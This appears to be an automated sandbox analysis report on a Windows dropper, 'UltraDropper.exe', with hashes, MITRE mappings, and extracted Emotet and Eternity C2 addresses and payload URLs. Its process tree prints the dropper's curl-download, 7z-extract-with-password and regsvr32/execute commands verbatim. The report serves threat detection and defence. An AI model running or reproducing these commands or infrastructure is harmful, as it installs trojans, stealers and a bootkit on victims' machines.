Overview

overview

10

Static

static

3

UltraDropper.exe

windows10-ltsc 2021-x64

10

Resubmissions

11-11-2024 12:49

241111-p2bdzszdja 10

11-11-2024 12:47

241111-p1kahaylgv 10

Analysis

  • max time kernel
    60s
  • max time network
    59s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    11-11-2024 12:49

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    UltraDropper.exe

  • Size

    61KB

  • MD5

    77d58e80c8fa2a6eccda305e263ae387

  • SHA1

    2b16c58a7c9e645f1b122c5728da8477fc77079d

  • SHA256

    fdf4110e93e1294843d80fc8ecb2620ca2b7190bd5c12d00268f3d2e4669cb6a

  • SHA512

    7077e6c3071644ac85b88e27d831d8b9debf10e38d5a7a62d2d6eb43c2b1066ced7cb71c66d5bf78434b809949f304f70b704aa528332f8ac076df6955dafea7

  • SSDEEP

    768:ykp0OJXk8vq3f//FiGxZaP1pgs4Lot6Esv/GTqOf7BQuVGRH:RJkfQuZQaot6EE/lu7BQuVU

Score
10/10
emoteteternityprivateloaderepoch5bankerbootkitdiscoveryevasionloaderpersistencespywarestealertrojanupx

Malware Config

Extracted

Family

eternity

C2

http://eternityms33k74r7iuuxfda4sqsiei3o3lbtr5cpalf6f4skszpruad.onion

Attributes
  • payload_urls

    https://raroford3242.xyz/myupdate.exe

    https://raroford3242.xyz/Sklmsstregens.vbs, https://raroford3242.xyz/remcexecrypt.exe, https://raroford3242.xyz/redlcryp.exe, https://raroford3242.xyz/racoocry.exe

    https://raroford3242.xyz/myupdate.exe

    https://raroford3242.xyz/myupdate.exe

Extracted

Family

emotet

Botnet

Epoch5

C2

178.238.225.252:8080

139.196.72.155:8080

36.67.23.59:443

103.56.149.105:8080

37.44.244.177:8080

85.25.120.45:8080

202.134.4.210:7080

78.47.204.80:443

83.229.80.93:8080

93.104.209.107:8080

80.211.107.116:8080

165.22.254.236:8080

104.244.79.94:443

185.148.169.10:8080

190.145.8.4:443

175.126.176.79:8080

139.59.80.108:8080

188.165.79.151:443

128.199.217.206:443

64.227.55.231:8080
ecs1.plain
eck1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Emotet family
    emotet
  • Eternity

    Eternity Project is a malware kit offering an info stealer, clipper, worm, coin miner, ransomware, and DDoS bot.

    eternity
  • Eternity family
    eternity
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • Privateloader family
    privateloader
  • Windows security bypass 2 TTPs 3 IoCs
    evasiontrojan
  • Disables RegEdit via registry modification 1 IoCs
    evasion
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 10 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 3 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 21 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 4 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 11 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 37 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies Internet Explorer start page 1 TTPs 2 IoCs
    stealer
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 29 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs
    evasion
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion
  • cURL User-Agent 12 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe
    "C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4504
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4640
      • C:\Windows\SysWOW64\curl.exe
        curl -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:116
      • C:\Program Files\7-Zip\7z.exe
        "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1876
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Pro%202017.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4272
      • C:\Windows\SysWOW64\curl.exe
        curl -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Pro%202017.zip"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4716
      • C:\Program Files\7-Zip\7z.exe
        "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3360
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Platinum.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2584
      • C:\Windows\SysWOW64\curl.exe
        curl -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Platinum.zip"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1696
      • C:\Program Files\7-Zip\7z.exe
        "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:324
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/RegistrySmart.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2816
      • C:\Windows\SysWOW64\curl.exe
        curl -L -o "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/RegistrySmart.zip"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2056
      • C:\Program Files\7-Zip\7z.exe
        "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2880
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\socelars.zip" "https://github.com/Princekin/malware-database/raw/main/Socelars%20Trojan/Socelars%20-%2024.09.2022.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\socelars.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1920
      • C:\Windows\SysWOW64\curl.exe
        curl -L -o "C:\Users\Admin\AppData\Local\Temp\socelars.zip" "https://github.com/Princekin/malware-database/raw/main/Socelars%20Trojan/Socelars%20-%2024.09.2022.zip"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4808
      • C:\Program Files\7-Zip\7z.exe
        "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\socelars.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2980
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\eternity.zip" "https://github.com/Princekin/malware-database/raw/main/Eternity%20Project/Eternity%20Worm%20-%2009.11.2022.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\eternity.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1444
      • C:\Windows\SysWOW64\curl.exe
        curl -L -o "C:\Users\Admin\AppData\Local\Temp\eternity.zip" "https://github.com/Princekin/malware-database/raw/main/Eternity%20Project/Eternity%20Worm%20-%2009.11.2022.zip"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2216
      • C:\Program Files\7-Zip\7z.exe
        "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\eternity.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2864
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\vidar.zip" "https://github.com/Princekin/malware-database/raw/main/Vidar%20Stealer/vidar%20-%2004.11.2022.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\vidar.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1276
      • C:\Windows\SysWOW64\curl.exe
        curl -L -o "C:\Users\Admin\AppData\Local\Temp\vidar.zip" "https://github.com/Princekin/malware-database/raw/main/Vidar%20Stealer/vidar%20-%2004.11.2022.zip"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4228
      • C:\Program Files\7-Zip\7z.exe
        "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\vidar.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3608
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\ultradrp\emotet.dll"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1704
      • C:\Windows\SysWOW64\regsvr32.exe
        regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\ultradrp\emotet.dll"
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2964
        • C:\Windows\system32\regsvr32.exe
          "C:\Users\Admin\AppData\Local\Temp\ultradrp\emotet.dll"
          4⤵
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          PID:4676
          • C:\Windows\system32\regsvr32.exe
            C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YnrPFpgYJkoJriBs\ZrCKVWqR.dll"
            5⤵
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            PID:4392
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1740
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Enumerates connected drives
        • Writes to the Master Boot Record (MBR)
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:2376
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3036
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1528
        • C:\WINDOWS\302746537.exe
          "C:\WINDOWS\302746537.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:4636
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BEEB.tmp\302746537.bat" "
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2448
            • C:\Windows\SysWOW64\regsvr32.exe
              regsvr32 /s c:\windows\comctl32.ocx
              6⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:2892
            • C:\Windows\SysWOW64\regsvr32.exe
              regsvr32 /s c:\windows\mscomctl.ocx
              6⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              PID:4448
            • \??\c:\windows\antivirus-platinum.exe
              c:\windows\antivirus-platinum.exe
              6⤵
              • Windows security bypass
              • Disables RegEdit via registry modification
              • Executes dropped EXE
              • Loads dropped DLL
              • Windows security modification
              • System Location Discovery: System Language Discovery
              • Modifies Internet Explorer settings
              • Modifies Internet Explorer start page
              • Suspicious use of SetWindowsHookEx
              • System policy modification
              PID:4956
            • C:\Windows\SysWOW64\attrib.exe
              attrib +h c:\windows\antivirus-platinum.exe
              6⤵
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              • Views/modifies file attributes
              PID:3700
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:980
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:4268
        • C:\Users\Admin\AppData\Local\Temp\is-UG44B.tmp\is-A806L.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-UG44B.tmp\is-A806L.tmp" /SL4 $4021A "C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]" 779923 55808
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:4660
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\Install.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4032
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\Install.exe
        C:\Users\Admin\AppData\Local\Temp\ultradrp\Install.exe
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:1640
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\Worm (1).exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3108
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\Worm (1).exe
        "C:\Users\Admin\AppData\Local\Temp\ultradrp\Worm (1).exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1700
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4684
      • C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe
        C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:3196
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
    1⤵
      PID:1960
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
      1⤵
      • Drops file in Windows directory
      PID:4328
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" shell:::{52205fd8-5dfb-447d-801a-d0b52f2e83e1}
      1⤵
        PID:2472
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
        1⤵
          PID:4520
        • C:\Windows\System32\rundll32.exe
          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
          1⤵
            PID:1676
          • C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe
            "C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe"
            1⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3444

          Network

          MITRE ATT&CK Enterprise v15

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Persistence

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Pre-OS Boot

          1
          T1542

          Bootkit

          1
          T1542.003

          Privilege Escalation

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Defense Evasion

          Hide Artifacts

          1
          T1564

          Hidden Files and Directories

          1
          T1564.001

          Impair Defenses

          2
          T1562

          Disable or Modify Tools

          2
          T1562.001

          Modify Registry

          6
          T1112

          Pre-OS Boot

          1
          T1542

          Bootkit

          1
          T1542.003

          Credential Access

          Credentials from Password Stores

          1
          T1555

          Credentials from Web Browsers

          1
          T1555.003

          Unsecured Credentials

          1
          T1552

          Credentials In Files

          1
          T1552.001

          Discovery

          Peripheral Device Discovery

          1
          T1120

          Query Registry

          2
          T1012

          System Information Discovery

          3
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          Lateral Movement

          Collection

          Data from Local System

          1
          T1005

          Command and Control

          Web Service

          1
          T1102

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip
            Filesize

            699KB

            MD5

            ff84853a0f564152bd0b98d3fa63e695

            SHA1

            47d628d279de8a0d47534f93fa5b046bb7f4c991

            SHA256

            3aaa9e8ea7c213575fd3ac4ec004629b4ede0de06e243f6aad3cf2403e65d3f2

            SHA512

            9ea41fe0652832e25fe558c6d97e9f9f85ccd8a5f4d00dbcc1525a20a953fbd76efb64d69ce0fdd53c2747159d68fcb4ac0fa340e0253b5401aebc7fb3774feb

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip
            Filesize

            794KB

            MD5

            ab1187f7c6ac5a5d9c45020c8b7492fe

            SHA1

            0d765ed785ac662ac13fb9428840911fb0cb3c8f

            SHA256

            8203f1de1fa5ab346580681f6a4c405930d66e391fc8d2da665ac515fd9c430a

            SHA512

            bbc6594001a2802ed654fe730211c75178b0910c2d1e657399de75a95e9ce28a87b38611e30642baeae6e110825599e182d40f8e940156607a40f4baa8aeddf2

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\BEEB.tmp\302746537.bat
            Filesize

            348B

            MD5

            7d8beb22dfcfacbbc2609f88a41c1458

            SHA1

            52ec2b10489736b963d39a9f84b66bafbf15685f

            SHA256

            4aa9ed4b38514f117e6e4f326cb0a1be7f7b96199e21305e2bd6dce289d7baa2

            SHA512

            a26cf9168cf7450435a9fe8942445511f6fda1087db52bd73e335d6f5b544fc892999019d9291d9dcc60c3656de49688f6d63282c97706e2db286f988e44fd94

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip
            Filesize

            289KB

            MD5

            ebe6bc9eab807cdd910976a341bc070d

            SHA1

            1052700b1945bb1754f3cadad669fc4a99f5607b

            SHA256

            b0353f4547466a0a402198b3750d928fc7c4e96dd3adc00b181e9d98e4602ea7

            SHA512

            9a6bfcb90c1e24be1b930990dd2af72e889f71ad7e1a7b8353b6522a625e2ae36013793ee2c159880bd510b8f785ce4c9dfced1d2901d3ca8f091e26084185a8

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip
            Filesize

            1.0MB

            MD5

            7958e5251e5e6f9c3b7752ff1543e28a

            SHA1

            86f6a8439ce6a6b30e6347c5bde7e091e5fad0ac

            SHA256

            b31c3f9d08337314050552a7dfdceaf42bb6d22baee287cde6238a6d965d87cd

            SHA512

            aec50b136792aebbd5aa8e5d316c39b728ff28e411dd54db99a18d5c7b9447f25629c4220800ee8dd8cd2b24a98a11d46f32b45a62bda5135c2ff0a731e032ee

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\eternity.zip
            Filesize

            1.2MB

            MD5

            a68f97544c9b41270008b8bf68992a75

            SHA1

            a1ccc56eca977792cf7a751dff4ebf1f8afe8591

            SHA256

            eae2bbca8b001849a03bad0b21d9e876c1931685ce37876e08a9dc77e022bfad

            SHA512

            9bb6e21c98dada07b3c0d0c7f6addaf9d043441282fc5df4c5f348fffac047e5e662ef92a9f9df617cab79e1abbbb8648a4a3a32c1f2044aebf278fcdbdf68b3

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\is-UG44B.tmp\is-A806L.tmp
            Filesize

            661KB

            MD5

            19672882daf21174647509b74a406a8c

            SHA1

            e3313b8741bd9bbe212fe53fcc55b342af5ae849

            SHA256

            34e6fea583cf1f995cf24e841da2060e0777405ac228094722f17f2e337ccea8

            SHA512

            eceddd4f1bbaf84dde72642f022b86033ba5a8b5105c573adcc49946d172e26e2512edce6f99e78dd3a2b0f8a23fa6138cca995a824e5f53a6ba925de434fa8f

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\socelars.zip
            Filesize

            5.2MB

            MD5

            ccaf8b6a14e94e5163c55b0b84a6a97c

            SHA1

            47c67a525e642808a1ce9a6ce632bc1e1fd3dfae

            SHA256

            966b5aa687ca823f72ed6054802e3347908fe1ace10336e682d96d5d66db68ae

            SHA512

            e82c8dd091dec5cb4e522296784c8e586a186af10598b6ad9f9feaa996c0898bb6988f602e8a32741a24bcb9f4c11e07d806e3323a46aeaafaee93b7cc1756c7

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
            Filesize

            739KB

            MD5

            382430dd7eae8945921b7feab37ed36b

            SHA1

            c95ddaebe2ae8fbcb361f3bf080d95a7bb5bf128

            SHA256

            70e5e902d0ac7534838b743c899f484fe10766aefacc6df697219387a8e3d06b

            SHA512

            26abc02bde77f0b94613edc32e0843ac71a0a8f3d8ba01cb94a42c047d0be7befef52a81984e9a0fa867400082a8905e7a63aaaf85fa32a03d27f7bc6a548c3b

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
            Filesize

            816KB

            MD5

            7dfbfba1e4e64a946cb096bfc937fbad

            SHA1

            9180d2ce387314cd4a794d148ea6b14084c61e1b

            SHA256

            312f082ea8f64609d30ff62b11f564107bf7a4ec9e95944dfd3da57c6cdb4e94

            SHA512

            f47b05b9c294688811dd72d17f815cce6c90f96d78f6835804d5182e2f4bfbd2d6738de854b8a79dea6345f9372ba76a36920e51e6cb556ef4b38b620e887eb4

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
            Filesize

            1.0MB

            MD5

            0002dddba512e20c3f82aaab8bad8b4d

            SHA1

            493286b108822ba636cc0e53b8259e4f06ecf900

            SHA256

            2d68fe191ba9e97f57f07f7bd116e53800b983d267da99bf0a6e6624dd7e5cf7

            SHA512

            497954400ab463eb254abe895648c208a1cc951ecb231202362dadbe3ffb49d8d853b487589ce935c1dc8171f56d0df95093ffc655c684faa944c13bcfd87b8b

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\ultradrp\Install.exe
            Filesize

            5.4MB

            MD5

            3c23db5eff4d85d8ff9addb170e32d53

            SHA1

            1f109f5b9b17a71e4ef7e200fccab72b21836017

            SHA256

            c2c694174fbf54aa19e05636589ac4eaf81d6b342c96be869bf57da18b930d98

            SHA512

            ad428facaddaba14acc1979ad6d93c4f665f58b4c9d14b28f2c0c1818290abe9dbbbd4e1c464bd8d38caebb101d6e4e85cf85fdaf423a0f3f5d0d134d8953f69

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\ultradrp\Worm (1).exe
            Filesize

            1.3MB

            MD5

            4a9ffb6962544b4dd55ce6ff568810b7

            SHA1

            a04a58215250d0bbe79fd946e6f5a73e8be27133

            SHA256

            8102f6139e928e1e844e7625f41bfa2b65f6ba05e95c43f1ecb329d72a91592b

            SHA512

            5b7e84b8a49200960a5312a373ef6245c2d997b5e3b9a761cb15a83ffe2edf9dc860c1bcd7ebb9eb7cd774c6f1364d505016446f713acfdfb682bb01c148053b

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\ultradrp\emotet.dll
            Filesize

            534KB

            MD5

            56bb8500d7ab6860760eddd7a55e9456

            SHA1

            e9b38c5fb51ce1a038f65c1620115a9bba1e383d

            SHA256

            b4bead39ead2a29de2f0a6fb52eea172cfe25224b71e4a9b1418f55c8b053d59

            SHA512

            83ceff476d071412b02bab0753bd3c4440937b663397d73349fa90c38d96cf88051b645c781cbe5de281aa3bd45e71da7fcc8c99c2846ce29c2f36c3e1307a84

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\ultradrp\setup.exe
            Filesize

            2.7MB

            MD5

            ff461f6e26216dea2575082406f0be8a

            SHA1

            5f53eb73469d2770308c248b3379c67cdb731f26

            SHA256

            65046cfd956eb010ea8b5a530e0655cacaa183053ac15dd05003dc0e55904b79

            SHA512

            b6fbd71229e063433794ab99acd410ec9047f8f504450f19b2b19327bf189da8862c7052df91f97cfe598a03ef4aabe123af8ad378f74294298fcb512dba50d1

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\vidar.zip
            Filesize

            1.2MB

            MD5

            61c89dc8b55c3e28b67e9f086c5930fb

            SHA1

            3098b3aa47e0180d3c68e5004ea53241ab59e2c7

            SHA256

            f419cea0dc3b585499f65ff8bdfa33f0a673361d09d1bb81411303fabf5aac1e

            SHA512

            b08d4c8fca98fdfdedd516ca3f870873441cbca72422bc0f3a53205ecd499f08436e42716a54a8b14b6dd8cb236852548aadc9f9a7f8e82d282caf40e42b8dc1

            Download Submit

          • C:\Windows\302746537.exe
            Filesize

            22KB

            MD5

            8703ff2e53c6fd3bc91294ef9204baca

            SHA1

            3dbb8f7f5dfe6b235486ab867a2844b1c2143733

            SHA256

            3028a2b0e95143a4caa9bcd6ae794958e7469a20c6e673da067958cbf4310035

            SHA512

            d5eb8a07457a78f9acd0f81d2f58bbf64b52183318b87c353a590cd2a3ac3a6ec9c1452bd52306c7cf99f19b6a897b16ceb8289a7d008c5ce3b07eda9b871204

            Download Submit

          • \??\c:\windows\antivirus-platinum.exe
            Filesize

            9KB

            MD5

            cd1800322ccfc425014a8394b01a4b3d

            SHA1

            171073975effde1c712dfd86309457fd457aed33

            SHA256

            8115de4ad0b7e589852f521eb4260c127f8afeaa3b0021bfc98e4928a4929ac0

            SHA512

            92c22c025fd3a61979fa718bf2e89a86e51bf7e69c421a9534fbf9c2d5b23b7a9224d0e9f3e0501992038837015214d1ef73b532a68b7d19de559c9ab9c6e5f6

            Download Submit

